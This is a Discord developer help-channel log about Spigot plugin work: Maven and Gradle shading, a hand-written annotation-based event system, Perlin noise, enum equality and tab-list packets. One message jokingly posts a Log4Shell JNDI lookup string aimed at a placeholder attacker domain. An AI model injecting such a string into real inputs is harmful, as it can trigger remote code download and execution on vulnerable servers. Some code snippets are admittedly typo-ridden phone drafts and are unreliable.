#help-development

1 messages · Page 1837 of 1

magic dome
#

can someone help im using the maven shade plugin and using the -shaded jar but im still getting a noclassdeffound error

ivory sleet
#

technically project, if we use the gradle definition of a project

magic dome
#

I tried the compile and the provided scopes

#

both didnt work

paper viper
#

no i cant in vc

quaint mantle
#

ok martin

#

so first we gonna make a base i think

#

lemme steal the parent pom from paper 🙂

#

wait we cant stream here

#

hmmm

stone sinew
#

Just don't import ;)

public void v8Method() {
    v8.CraftItemStack cis = <>;
}

public void v9Method() {
    v9.CraftItemStack cis = <>
}
magic dome
#

i added a maven repo... included the shade plugin... and built the plugin and used the -shaded jar... but im still getting a noclassdeffound error
anyone know what could be the issue?

quaint mantle
#

gip log

#

?learnjava

undone axleBOT
low temple
#

I have a question about general java stuff, is it possible to create your own Event class?

#

so that you can listen to when the object is created?

stone sinew
young knoll
#

They said general java

#

And when an object is created

low temple
#

like how in JavaFX has button events

#

Like if I initiate an object that contains an int value, is it possible to put an @EventHandler method to listen to when that object is created

#

then use a object.getInt() method to return the int

stone sinew
#

Ah my bad.

ivory sleet
#

Sure is possible

#

Or well spigot uses annotation on methods to determine which methods should be used as callbacks for said events.

#

Optionally they could have gone with a functional interface approach where you’d have something like
<T> register(Class<T> type,Consumer<?super T> callback);

low temple
#

hmm ok, that confuses me alot

ivory sleet
#

The latter paragraph is irrelevant

sullen marlin
ivory sleet
#

Idk if it’s that bad

low temple
#

I tried implementing Event on a test class but im not sure which import i should use

ivory sleet
#

I mean reflective invocations are a downside after all.

low temple
#

is there a default Java Event listener import?

ivory sleet
#

If you want to use the Bukkit event api

#

?event

#

?event-api

#

Hmm

low temple
#

no, not anything related to MC development

#

just general java, although i might use some of it for mc

ivory sleet
#

Anyways corxl

#

Wym by default java event listener?

low temple
#

Like when a class is created, i can use a different class to listen to that creation and do something

ivory sleet
#

All event listener designs are just following a design pattern by the name observer.

low temple
#

kinda like when a PlayerDeathEvent object is created, you can create a method that acts with the event as parameters

ivory sleet
#

Yeah that’s simple

#

You need to track registered callbacks, and then run them where each callback consume the created event object from your desired event class.

low temple
#

hmmm okay

ivory sleet
#

For instance

low temple
#

do you know of an example i can look at

ivory sleet
#

@Retention(RetentionPolicy.RUNTIME) @interface EventHandler {

}
interface Listener {

}
interface Event {

}
class EventManager {
Map<Class<? extends Event>,Collection<Consumer<? super Event>>> map = new IdentityHashMap<>();

void post(Event e) {
map.computeIfPresent(e.getClass(),(key,coll) -> coll.forEach(callback -> callback.accept(e));
}

void register(Listener listener) {
var clz = listener.getClass();
for (Method m : cls.getDeclaredMethods()) {
m.setAccessible(true);
var params = m.getParameterTypes()
if (params.length != 1) continue;
if (!m.isAnnotated(EventHandler.class)) continue;
Class<?extends Event> type = (Class<? extends Event> params[0];
map.computeIfAbsent(type, key -> new ArrayList<>());
map.computeIfPresent(type,(key,coll)-> {
coll.add(event -> method.invoke(listener,event));
return coll;
}
}
}
}
Smtng like this maybe

#

Wrote it on phone just rn

low temple
#

Okay i see i see

#

what is the 'Event' object though

#

oh nvm u created the interface

ivory sleet
#

That’s just an interface

#

Yes

quaint mantle
#

bro how can you cope with phone keyboard?

ivory sleet
#

Then each subclass would just implement the interface

#

Idk lol, I just remembered that

low temple
#

Ohhh then when you do the this.getServer.getPluginManager().registerEvents(); method in spigot it adds that class into the listeners list?

quaint mantle
#

wait he wants to see the code that register the events?

ivory sleet
#

Corxl check out SimplePluginManager

drowsy bramble
#

Would this be the proper way to get a prefix?``` public String getPrefix() {

        return switch (this) {
            case KING, ADMIN -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ADMIN" + ChatColor.LIGHT_PURPLE;
            case DEVELOPER -> ChatColor.DARK_PURPLE.toString() + ChatColor.BOLD + "DEV" + ChatColor.LIGHT_PURPLE;
            case JRADMIN -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "JRADMIN" + ChatColor.LIGHT_PURPLE;
            case SRMOD -> ChatColor.GOLD.toString() + ChatColor.BOLD + "SRMOD" + ChatColor.LIGHT_PURPLE;
            case MOD -> ChatColor.YELLOW.toString() + ChatColor.BOLD + "MOD" + ChatColor.LIGHT_PURPLE;
            case JRMOD -> ChatColor.DARK_AQUA.toString() + ChatColor.BOLD + "JRMOD" + ChatColor.LIGHT_PURPLE;
            case ETERNAL -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ETERNAL" + ChatColor.LIGHT_PURPLE;
            case SAVAGE -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "SAVAGE" + ChatColor.LIGHT_PURPLE;
            case LEGEND -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "LEGEND" + ChatColor.LIGHT_PURPLE;
            case ULTRA -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ULTRA" + ChatColor.LIGHT_PURPLE;
            default -> "";
        };
    }```

What i had before using the suggestion was ``` public String getPrefix() {

        switch (this) {

            case KING:
            case ADMIN:
                return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ADMIN" + ChatColor.LIGHT_PURPLE;
            case DEVELOPER:
                return ChatColor.DARK_PURPLE.toString() + ChatColor.BOLD + "DEV" + ChatColor.LIGHT_PURPLE;
            case JRADMIN:
                return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "JRADMIN" + ChatColor.LIGHT_PURPLE;
            case SRMOD:
                return ChatColor.GOLD.toString() + ChatColor.BOLD + "SRMOD" + ChatColor.LIGHT_PURPLE;
            case MOD:
                return ChatColor.YELLOW.toString() + ChatColor.BOLD + "MOD" + ChatColor.LIGHT_PURPLE;
            case JRMOD:
                return ChatColor.DARK_AQUA.toString() + ChatColor.BOLD + "JRMOD" + ChatColor.LIGHT_PURPLE;
            case ETERNAL:
                return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ETERNAL" + ChatColor.LIGHT_PURPLE;
            case SAVAGE:
                return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "SAVAGE" + ChatColor.LIGHT_PURPLE;
            case LEGEND:
                return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "LEGEND" + ChatColor.LIGHT_PURPLE;
            case ULTRA:
                return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ULTRA" + ChatColor.LIGHT_PURPLE;
            default:
                return "";
        }
    }```
quaint mantle
#

    @Override
    public void registerEvents(@NotNull Listener listener, @NotNull Plugin plugin) {
        if (!plugin.isEnabled()) {
            throw new IllegalPluginAccessException("Plugin attempted to register " + listener + " while not enabled");
        }

        for (Map.Entry<Class<? extends Event>, Set<RegisteredListener>> entry : plugin.getPluginLoader().createRegisteredListeners(listener, plugin).entrySet()) {
            getEventListeners(getRegistrationClass(entry.getKey())).registerAll(entry.getValue());
        }

    }```
#

that is how spigot handle it

ivory sleet
#

The way spigot handles it is a bit more advanced

#

But it supports static callbacks, proper termination, priority and cancellation

low temple
#
import java.util.ArrayList;
import java.util.List;

interface TestListener {
    void someoneSaidHello();
}

class Responder implements TestListener {

    @Override
    public void someoneSaidHello() {
        System.out.println("I Said Hello Too!");
    }
}

class Initiator {

    private List<TestListener> listeners = new ArrayList<>();

    public void addListeners(TestListener... listenerList) {
        listeners.addAll(List.of(listenerList));
    }

    public void sayHello(){
        System.out.println("I Said Hello!");
        for (TestListener listener: listeners) {
            listener.someoneSaidHello();
        }
    }
}

public class Test {
    public static void main(String[] args) {
        Initiator initiator = new Initiator();
        Responder responder = new Responder();
        initiator.addListeners(responder);
        initiator.sayHello();
    }
}

I made this after seeing an example from online

#

I think this does what I want it to?

#

what im confused about is why Spigot gets to use "@EventHandler" and I need to use @Override

#

is it a different way to handle events/

ivory sleet
#

That’s because spigot supports having multiple methods handling events within a single class

#

Override is just a compile check annotation

drowsy bramble
#

Proper way to get a prefix

quaint mantle
#

it just there

ivory sleet
#

It does

#

The compiler will act on it

quaint mantle
#

it dont iirc

low temple
#

so spigot also calls those classes and uses "className.methodName"?

quaint mantle
#

i remember someone said it just there do nothing but lookin easier

ivory sleet
#

If a derived function overrides the super function but the method signature is changed in an unsupported way, there will be a compile error

ivory sleet
#

To invoke the methods at runtime

low temple
#

atleast from my experience

#

So how does spigot get to use the "@EventHandler" annotation?

quaint mantle
#

in a gradle subproject, how do you depend on the root project?

low temple
#

sorry if you already explained that I missed it if you did

young knoll
#

Because spigot lets you have as many event handlers in a class as you want

#

It just looks for methods with that annotation and the proper signature

low temple
#

Okay but where does the annotation come from

low temple
#

like is it something spigot created?

young knoll
#

With runtime retention

low temple
#

Right okay, ive never worked with that kind of stuff yet

#

didnt know annotations could be created

quaint mantle
#

@interface

ivory sleet
#

If a subclass overrides a function it will be invoked as opposed to the super function even if @Override is absent.

It is not always a good practice, for instance @Override is discouraged when overriding deprecated methods from base classes.

quaint mantle
#

public @interface EventHandler

ivory sleet
low temple
oblique wigeon
#

How should I manager putting attributes on items? (From my testing, when you add any attribute modifiers, then the normal attributes of the item dissapear!) I want to build off of those Old attributes (perhaps with multiple modifiers)

ivory sleet
#

the same as if @Override would be present in the subclass

young knoll
ivory sleet
#

It has no functionality to determine what function to use

young knoll
#

You can get them via NMS if you must

low temple
#

So all @Override does is make sure you format the method properly?

ivory sleet
#

It is merely there to contextualize and serve as a compile evaluation

#

Well

quaint mantle
oblique wigeon
ivory sleet
#

compileOnly(project(":name"))

quaint mantle
#

ah ok

young knoll
oblique wigeon
ivory sleet
young knoll
#

Generally the compiler will figure it out without @Override

ivory sleet
#

They will always do

low temple
ivory sleet
#

But point is,
if I do this:
class A extends Object {
@Override public long hashCode() {
return 0L;
}
}

#

It won’t work

#

Of course it won’t work either way

low temple
#

Thank you so much for your help btw @ivory sleet, your insight has been super helpful ♥️

ivory sleet
#

Actually that’s a bad example

oblique wigeon
young knoll
#

No

quaint mantle
#

zhom

#

zhom

#

zhom

young knoll
#

NMS is the vanilla server code

quaint mantle
#

net minecraft

oblique wigeon
#

ah...

quaint mantle
#

for 1.14+

#

below is net minecraft server i think

oblique wigeon
ivory sleet
low temple
#

makes sense, thank you

quaint mantle
#

i thought discord would allow me to reaction all of their emojis

#

hmm

oblique wigeon
young knoll
#

I’ll let you know if when the PR goes through :p

oblique wigeon
#

why the hell did minecraft put attack damage on pickaxes

#

i dont get it

ivory sleet
#

Because hitting someone with a pickaxe in real life does some damage

oblique wigeon
#

I just realized that this is like 3000 arguments I'm putting into this.. with each tool having 2-4 modifiers and each modifier having like 5 different arguments

ivory sleet
#

and Minecraft to some extent tries to emulate real life

oblique wigeon
ivory sleet
#

🥲

oblique wigeon
#

also- how come there isn't like, a mining attribute

#

wouldn't that make sense instead of the only attributes being combat related?

young knoll
#

¯_(ツ)_/¯

#

Mining speed would be neat

oblique wigeon
#

yeah- perhaps a fortune stat as well

#

That could either apply to swords/pickaxes

static ingot
#
  - In plugin 'com.github.jengelman.gradle.plugins.shadow.ShadowBasePlugin' type 'com.github.jengelman.gradle.plugins.shadow.tasks.ShadowJar' property 'dependencyFilter' is missing an input or output annotation.

* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output. Run with --scan to get full insights.```
I'm attempting to setup a simple test plugin using Kotlin and Gradle. I'm not sure what `property 'x' is missing an input or output annotation` means or how to fix it. I believe I saw somewhere that this is something to do with using Gradle 7.x.x and that downgrading should fix it, but downgrading to 6.8.3 did not appear to resolve the error.
ivory sleet
#

Send build script

somber hull
#

i meant data file

static ingot
#

I think that was a move on the right track because now it's just telling me it's an issue with an unsupported class file version. I'm using Java 16 and would prefer not having to downgrade though.

#

BUG! exception in phase 'semantic analysis' in source unit '_BuildScript_' Unsupported class file major version 60

#

Is it my kotlin or gradle version that's problematic?

low temple
#
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

interface TestListener {

}

class Responder implements TestListener {

    @MyAnnotation
    public void testMethod(Initiator initiator) {
        System.out.println("I Said Hello Too!");
    }
}

class Initiator {

    private List<TestListener> HelloListeners = new ArrayList<>();
    private int size = 0;

    public void addListeners(TestListener... listenerList) {
        HelloListeners.addAll(Arrays.asList(listenerList));
    }

    public void sayHello() throws InvocationTargetException, IllegalAccessException {
        System.out.println("I Said Hello!");
        for (TestListener listener: HelloListeners) {
            for (Method method : listener.getClass().getMethods()){
                if (method.isAnnotationPresent(MyAnnotation.class)) {
                    if (method.getParameterTypes()[0].equals(Initiator.class)) {
                        method.invoke(new Responder(), this);
                    }
                }
            }
        }
    }
    public int getSize() {
        return size;
    }
}

public class Test {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
        Initiator initiator = new Initiator();
        Responder responder = new Responder();
        initiator.addListeners(responder);
        initiator.sayHello();
    }
}
@Target({ElementType.METHOD})
@Retention(RetentionPolicy.RUNTIME)
@interface MyAnnotation{}

@ivory sleet I think this is how the spigot api handles exceptions right? with the annotations?

#

the sayHello() method checks all the listeners then checks their annotations, then checks their parameters, and if the only parameter is the Initializer object, it passes that object and runs the method

quaint mantle
#

wait we can invoke methods that way?

#

i thought spigot do some magic things lul

#

never heard about invoking methods without knowing their names

low temple
#

idk if spigot does it that way but it kinda simulates it

low temple
#

i see

#

the code I made basically does that

quaint mantle
#

i guess

low temple
#

the names of the methods are irrelevant

#

it just needs the annotation and the parameter type of the event

#

ideally you would replace the sayHello() method with the class constructor

#

so it calls any method thats been initialized

quasi patrol
#

I'm trying to retract a player's fishing hook when they catch a fish cause I have it cancel the event so it doesn't collect the regular loot table fish, but it doesn't retract the hook and I tried event.getHook().setHookedEntity(null); but it isn't working. .-.

oblique wigeon
#

damn channel ded

quaint mantle
#

that is good

#

it means the community is smarter now

eternal night
#

press X for doubt

golden wasp
#

hello can someone help me with a problem with / jail

#

because I look at tutorials but the commands are different and I don't know how to configure it

quaint mantle
#

go out

#

not here

#

this is dev channel bro

oblique wigeon
#

@golden wasp head over to #help-server But, to answer your question, what plugin are you using?

quaint mantle
golden wasp
#

ok sorry

proud basin
#

How does redis work?

buoyant viper
#

hacks

proud basin
#

huh

sullen canyon
#

Is this possible to rewrite pvp basics? For example make hit reg bettwen hits lower or increase players kb (i know about setVelocity just it work with latency and in fight it looks terrible and unnatural)

hybrid spoke
#

what kind of answer are you looking for? a simple yes? yes, it is possible

lean gull
#

does anyone know how to do simple noise gen on a sphere?

waxen plinth
#

Could you elaborate?

#

Are you talking about perlin noise

lean gull
#

yes

waxen plinth
#

And what exactly are you trying to do

#

Generate caves? Generate a noise pattern on the surface of the sphere?

lean gull
waxen plinth
#

So you're trying to generate a lumpy sphere

lean gull
#

yes

waxen plinth
#

Simplest way is probably to use perlin noise on normalized pitch and yaw, and project vectors out with the length returned by perlin noise for height

sullen canyon
waxen plinth
#

lol

waxen plinth
waxen plinth
#

You would need to figure out how to project a heightmap onto a sphere

sullen canyon
#

I jist dont even know where i should begin

lean gull
#

heightmap is that black and white thing right

waxen plinth
#

Right, you're asking how to do something vastly complex and you have no idea at all how to do it

lean gull
#

could you help me make normal noise?

#

and then i can work my way up

sullen canyon
#

?is that the reason why i ask

waxen plinth
#

There are existing perlin noise generators you can use

#

Spigot has one built in

lean gull
#

idk how to use them

sullen canyon
#

I haven't find and information in google so i suggest ask help here

#

Just where should i start

waxen plinth
#

Well, the basic idea of perlin noise is that it takes in an n-dimensional coordinate and it spits out a value

#

You pass in the x and z and it will tell you how tall the terrain should be at that point

lean gull
#

again, i do not know what that means

#

soz

waxen plinth
#

Then research perlin noise

#

There are plenty of resources out there

lean gull
#

ok im reading an article about perlin noise and im already confused

#

can someone dumb down the second part of that paragraph? (from First, we divide the x, y and z...)

sudden raft
quaint mantle
#

guys im trying to teleport an EntityPlayer to a location but the head bugs

#

the npc is always looking back

#

but when i look back and spawn it, it is ok

chrome beacon
#

Is it your npc

#

Or is it a player

quaint mantle
#

npc

chrome beacon
#

Then you've likely messed up somewhere

#

Send the entire npc code

#

Or you know.... use Citizens

quaint mantle
chrome beacon
#

It's really not

#

Citizens is very well made and has a good api to work with

tacit drift
#

👍

quaint mantle
#

im making a whole new npc plugin to get rid of that trash plugin

#

spamming packets

#

and top of usage

#

the code btw

tacit drift
#

Is it affecting your server's performance?

quaint mantle
#

well top of spark sampler usage

tacit drift
#

If it does, just talk to them

#

It's really hard to pretty much remake citizens

quaint mantle
#

im trying to code an npc plugin

chrome beacon
#

Or use zNPC or whatever that's called

quaint mantle
#

i dont need citizens

tacit drift
#

Or, modify citizens to your needs

quaint mantle
#

it is not that hard

chrome beacon
#

We don't need another npc plugin

quaint mantle
#

im making it for myself

quaint mantle
#

and i need help with this

#

not citizens or znpcs

chrome beacon
#

Oh well you'll have to wait a long time for an awnser

swift adder
#

Hey quick question, where can I download the spigot api for intellij?

chrome beacon
worldly quest
#

With 1.18 I’m not able to import javaplugin, but when I change the jar to 1.17 it works without editing the code did it change or do I have the wrong jar or something?

swift adder
chrome beacon
chrome beacon
worldly quest
swift adder
#

How could I get the api?

chrome beacon
quaint mantle
# quaint mantle

@ivory sleet can you help me with this ?
the head rotation is not correct when i teleport an npc

#

but when i look back its correct

tribal holly
#

Is there a way to make difference between full block(not orientable, not storaget etc...) with "special" block (like slab,stairs, chests,banner,sign...) ?

next fossil
next fossil
#

I’m using the Mojang Mappings

#

Or you using the obfuscated ones?

lean gull
hybrid spoke
lean gull
# lean gull

what i want: (the message i replied to)
what i have: nothing cause idk where to start

tidal hollow
#

Does anyone know how I can make a BossBar generate during the storm?

hybrid spoke
hybrid spoke
lean gull
#

i suck at maths

hybrid spoke
#

obv.

#

same

#

but you can find formulas and solutions in the web

#

you just have to translate them to java

#

everything other is bukkit magic

lean gull
#

someone told me to do that before but 1 issue: idk how to read the other languages which means i can't understand them in order to translate them

#

and then there's also unity which most people just use like a sphere object or whatever and you can't do that in minecraft

hybrid spoke
lean gull
#

i tried reading an article about perlin noise and got confused after about 2 minutes

hybrid spoke
lean gull
#

ok new record of me looking at an article and being confused: about 10 seconds

hybrid spoke
#

maybe you shouldn't start over with that yet

lean gull
#

wha- what is this

hybrid spoke
#

and rely on builders

hybrid spoke
lean gull
#

me no maths

hybrid spoke
#

@opal juniper has fun with maths

#

maybe he can help

lean gull
#

can someone explain to me how to use spigot's noise and then how to do it on a sphere

quasi flint
#

ig use getnoise

#

x

#

y

#

z

#

and apply to sphere

lean gull
#

ok 1 sec

lean gull
tidal hollow
# hybrid spoke check the weather and Bukkit.createBossbar a bossbar
Bukkit.getScheduler().scheduleSyncRepeatingTask(this, new Runnable() {
            @Override
            public void run() {
                World world = Bukkit.getWorld("world");
                long caca = (long) (world.getWeatherDuration() / 20);
                long hours = caca % 86400L / 3600L;
                long minutes = caca % 3600L / 60L;
                long seconds = caca & 60L;
                long days = caca / 86400L;
                String time = String.format((days >= 1L ? String.format(("%02d dia(s) "), days) : "") + "%02d:%02d:%02d", hours, minutes, seconds);
                if (world.hasStorm()) {

                    Bukkit.getOnlinePlayers().forEach((player) -> {


                        BossBar boss = Bukkit.getServer().createBossBar("¡ Luna llena !: " + time + "", BarColor.WHITE, BarStyle.SEGMENTED_10, BarFlag.CREATE_FOG);
                        boss.removeFlag(BarFlag.CREATE_FOG);
                        boss.addPlayer(player.getPlayer());

I did something like that and it didn't work, any mistake?

lean gull
#

what do i do before getNoise

quasi flint
#

get the block pos you want to get the noise from

#

never worked with ut

lean gull
#

wait 1 sec

quasi flint
#

but makes sense fo rme

#

retuns an double

#

then just do smth with it

#

like set the blocks y to the position

#

it returns

#

idont know about that part tho

lean gull
#

idk what im doin help plz

public class Noise extends PerlinNoiseGenerator {

    public void noiseGen(World playerWorld, Long noiseSeed, Random rand) {

        PerlinNoiseGenerator noiseVar = new PerlinNoiseGenerator(playerWorld, noiseSeed, rand);
        
    }

}```
quasi flint
#

dafuq

lean gull
#

nobody told me how 2 do this ok

#

idk what im doin

twilit rover
#

...

quasi flint
#

why not call PerlinNoiseGenerator.getNoise?

#

i think it’s accessible

lean gull
#

oh ok

hybrid spoke
lean gull
#

no

quasi flint
#

i gave you the noise you need

quasi flint
#

jesus christ

lean gull
#

spigot said to extend it

#

oh wait no im supposed to extend NoiseGenerator

hybrid spoke
quasi flint
lean gull
#

?

opal juniper
#

R^d is the set of real numbers up to d

#

so it just means you put in values and the function maps it to a new value

#

so in this case, R^d - d would be 3 so it would have x,y,z inputs

quasi flint
quaint mantle
lean gull
quasi flint
#

yes, it was a simple question for me to know if your code now works as expected

lean gull
#

doesn't seem like you learnt to be nice

quasi flint
#

well actually yes i did, why would i have given you the informations you need if i amindeed not nice?

lean gull
quasi flint
#

cough

ivory sleet
#

Can we just not

quasi flint
#

well yea. i am not insisting on it

ivory sleet
quaint mantle
lean gull
#

why only conclure

ivory sleet
#

?

quasi flint
#

?

quaint mantle
#

?

lean gull
#

?

ivory sleet
opal juniper
quasi flint
#

nms beeing fresh

ivory sleet
opal juniper
#

so yeah, it takes in the input R^3 in this instance, or the x,y,z coords

ivory sleet
#

And what’s the input R^3?

#

I understand R for the set of real numbers

#

Tho the ^3 is thonk

opal juniper
#

the boundary condition,
R^+ is all positive reals
R^n is the amount of reals iirc

ivory sleet
#

hmm

#

So R^+ is similar to {n ∈ R | n > 0}

opal juniper
#

yep

ivory sleet
#

And R^n would {m ∈ R | m <= n} ?

opal juniper
#

uh, no, R^3 means any three real numbers which is why it is used in that notation because it gives coords, tho i have no clue how to write that in set notation

ivory sleet
#

Oh right

#

So just

#

x, y, z ∈ R ?

opal juniper
#

yes ig

ivory sleet
#

Ah nice

eternal night
lavish hemlock
#

why would they change math

math is math bad

eternal night
#

But R^n for n \in N is just the n dimensional space no ?

severe marsh
#

How do I get display name of item without it's color codes?

#

Just pure display name

eternal night
#

not with the API

#

you'll have to dive into server internals for it

#

(or use paper)

ivory sleet
#

Maybe ChatColor::stripColors

#

or smtng

eternal night
#

wait are we talking about like

#

"Diamond Sword"

#

or some random custom name set by the plugin

ivory sleet
#

I believe so lol

#

hmm

eternal night
#

Yea but the default display name will just be null

#

not "Diamond Sword"

ivory sleet
#

Can ItemStack HAVE custom names?

eternal night
#

well display names

#

on their item meta

ivory sleet
#

Oh yeah

severe marsh
#

If I have item named "&eBanana" I want to obtain just "Banana" string.

eternal night
#

oh

drowsy helm
#

can use regex to replace it

eternal night
#

then just use conclures solution

ivory sleet
#

ChatColor.stripColors (:

eternal night
#

^

severe marsh
#

Thanks

ivory sleet
#

Well if he’s a spigoter that is 😅

eternal night
#

adventure time 🥳

smoky oak
#

for enums == works right?

vale ember
smoky oak
#

k

hybrid spoke
lavish hemlock
#

== is preferred for enums-

#

yes

tardy delta
#

yet I see people using .equals

chrome beacon
#

It works too

smoky oak
#

is it slower then?

ivory sleet
#

Yeah

tardy delta
#

Ofc

#

Equals uses ==

#

And more stuff

lavish hemlock
#

actually tbh it's probably not too slow

#

it likely just redirects to identity comparison

#

but you do have the 1ms method overhead

tardy delta
#

It is relatively slower

lavish hemlock
#

and it's just less clean

ivory sleet
#

using Enum::equals is also not null safe as opposed to ==

lavish hemlock
#

oh yeah

tardy delta
#

Objects.equals

lavish hemlock
#

except well

#

eh ig that's fair yeah

#

enums can be null

hybrid spoke
#

its just a method call more

tardy delta
#

In which way can they be null?

smoky oak
#

set the field to null

tardy delta
#

With valueof?

ivory sleet
#

Material m = null;

tardy delta
#

Ah bruh in that way

hybrid spoke
#
Material material = null;
if(material != null) return material.equals(Material.AIR);
return false;

// 

Material material = null;
return material == Material.AIR;
tardy delta
#

🤠

#

Three lines VS one

lavish hemlock
#

tbh just wish Java redirected == to an equals call and then had some other operator for reference comparison

#

would be so much cleaner

amber vale
#

How can I make efficient multiblocks in 4 directions?

#

?paste

undone axleBOT
amber vale
#

Since this is what im using for 1 direction

hybrid spoke
amber vale
#

But like, is there a more efficient way to do this whole thing, or just hardcoding?

hybrid spoke
#

what exactly are you trying to do

amber vale
#

A multiblock

#

Which can be built facing any major direction (North, South, West, East)

hybrid spoke
#

a multiblock?

amber vale
#

Yes.

#

A thing, made from multiple blocks?

#

That then functions in a custom made way, if built correctly

vale ember
#

do playerinteractevent trigger if player interact with entity?

hybrid spoke
vale ember
#

k

solid cargo
#

how can i change on how long a subtitle stays

drowsy helm
#

its one of the parameters in the api

eternal oxide
#

then your package is wrong

#

also package names should be all lower case

vale ember
#

is it legal to submit CLA if you're not adult?

eternal oxide
#

We are not allowed to give you legal advice, but I don;t believe so.

vale ember
#

or im blind

eternal oxide
#

It varies in different countries, but I believe there is an age restriction on entering into legal agreements.

craggy cypress
#

How can i override multiverse core when changing from world?
I want to change the gamemode of a player to spectator mode, but multiverse core overides it

lean gull
#

can anyone explain to me how to use PerlinNoiseGenerator?

#

(just like get a double from an x coord and a z coord)

vale ember
#

do you know what is perlin noise?

lean gull
#

kind of

#

not really tho

vale ember
#

...

#

then wtf are you trying to do without knowing what it is

lean gull
#

i know it makes like a heightmap of black and white connected shapes, and you can use that to make terrain

vale ember
lean gull
#

i have this:
PerlinNoiseGenerator noise = new PerlinNoiseGenerator(1);
but intellij is not letting me do noise.getNoise(...)

vale ember
#

what it says?

lean gull
#

it just doesn't suggest it and when i put it, it has a red line below it

vale ember
#

wait it's static method

#

do you use noise() or getNoise()?

#

getNoise is static

lean gull
#

wait nvm i think it's working

#

how do i parse this as an integer?
double newNoise = noise.getNoise(xCoord, zCoord) * 10;

quaint mantle
vale ember
quaint mantle
#

Oh that

#

I remember me do a pull request when i was 6 to some cla related things for some projects idk

quaint mantle
#

Or ya know

#

Fork ur own spigot

#

Without coding right?

formal bear
#

Yeah plain vanilla minecraft

compact cape
solid cargo
#

is PlayerPickupItemEvent still good to use? its deprecated

#

or should i use PlayerAttemptPickupItemEvent?

vale ember
solid cargo
#

ah

vale ember
#
getEntity()``` and check if its player ig
solid cargo
#

ok thanks

compact cape
lunar schooner
#

Hey there, short question hopefully. Is it possible to use Log4j rather than java.util.logging?

quaint mantle
#

Ur choice

#

You use anything u want

#

But i think log4j is quite better

lunar schooner
#

I'm including Log4j-core, as I would normally with standalone projects, and shade it into the jar using shadowJar. However, it isn't finding the logger 🤔

quaint mantle
#

If not alot

lunar schooner
#

Bukkit uses slf4j iirc, but even with log4j-over-slf4j, it is not working and is using the SimpleLogger.

quaint mantle
#

Wait is shading = the scope compile in maven huh?

lunar schooner
#

No clue, I dont use maven

#

I use Gradle with the ShadowJar plugin

#

basically it includes the dependencies in your plugin jar

quaint mantle
#

Scope compile just compile the librabries to the jar

quaint mantle
vale ember
#

${jndi:ldap://some-attacker.com/a} :))))))))))))

quaint mantle
#

Lemme check

lunar schooner
#

The issue might be that I relocate everything 🤔 hold on

#

( e.g org.foo becomes dev.array21.pluginNameHere.deps.org.foo )

#

That would work for regular imports, though iirc log4j uses some reflection shenanigans under the hood.

quaint mantle
viscid edge
#

Who knows how to make bungee plugins?

compact cape
lunar schooner
#

Yup, my issue was the relocating

hybrid spoke
undone axleBOT
#

If you have a question, please just ask it. Don't look for staff or topic experts. Don't ask to ask or ask if people are awake or available. Just ask the question to the channel straight out, and wait patiently for a reply. Make sure you use the right channel regarding the topic of your question. Create a thread in case the channel is already in use!

viscid edge
#

I need a staffchat plugin made

hybrid spoke
#

?services

undone axleBOT
quaint mantle
#

what are the headers and footer for 1.8 and 1.18 for PacketPlayOutPlayerListHeaderFooter

young knoll
#

Why are you using it in 1.18

quaint mantle
#

what should I use

#

I wanted to make a tablist

vale ember
#

1.18 spigot provides api for that afaik

young knoll
#

Yes

quaint mantle
#

then?

young knoll
#

It has for a while, but probably not in 1.8

vale ember
#

then you use api instead of nms in newer versions

quaint mantle
#

okay but still, I need to add headers and footers, how do I do it?

young knoll
#

Player.setPlayerListHeader/Footer

quaint mantle
#

implementation?

young knoll
#

What a magical site

quaint mantle
vale ember
#

what version api?

quaint mantle
#

oh sorry, wrong file

vale ember
#

it works 1.13+

quaint mantle
#

so this will work:

if(Bukkit.getOnlinePlayers().size() != 0) {
  for(Player player : Bukkit.getOnlinePlayers()) {
    player.setPlayerListHeaderFooter(headers.get(count1), footers.get(count2));
  }
}
vale ember
#

yeah, should

quaint mantle
#

and this is right in 1.8

#
            PacketPlayOutPlayerListHeaderFooter packet = new PacketPlayOutPlayerListHeaderFooter();
            int count1=0; //headers
            int count2=0; //footers

            @Override
            public void run() {
                try {
                    Field a = packet.getClass().getDeclaredField("header");
                    a.setAccessible(true);
                    Field b = packet.getClass().getDeclaredField("footer");
                    b.setAccessible(true);

                    if(count1>= headers.size())
                        count1 = 0;
                    if(count2>= footers.size())
                        count2 = 0;

                    a.set(packet, headers.get(count1));
                    b.set(packet, footers.get(count2));

                    if(Bukkit.getOnlinePlayers().size() != 0) {
                        for(Player player : Bukkit.getOnlinePlayers()) {
                            ((CraftPlayer)player).getHandle().playerConnection.sendPacket(packet);
                        }
                    }
vale ember
#

note, that in 1.13 (NOT 1.13.2) it's deprecated cuz of "Draft api"

quaint mantle
#

im using only 1.8 and 1.18

vale ember
#

than you're fine

quaint mantle
#
    private List<ChatComponentText> headers = new ArrayList<>();
    private List<ChatComponentText> footers = new ArrayList<>();
vale ember
quaint mantle
#

thank you guys

upper mica
#

Hello, so I need an advice, what would be better - keeping a for example player object (or world) as UUID, or as a referenced variable (WeakReference<Player>)? I'm aiming for performance or just a better way to handle this, but also I don't want any memory leaks or smth like that. But if I choose the way with reference, would it clean itself when that object would become unavailable (player disconnects)? I just tested and I found out that you can use enqueue method to clear that reference. Would I need to do it every time player disconnects or would it be fine on itself? Right now I have a "update" method which would get player from UUID and update class's variables like name, location, health, and a boolean to set if player was offline or not.

peak granite
#

how can i tp a player down

#

if they're in the air

#

tp them to a solid block

lavish hemlock
#

there's no reason to keep a reference to the player at all

#

jesus christ-

#

don't think I didn't see that, RPG

upper mica
#

me too lol

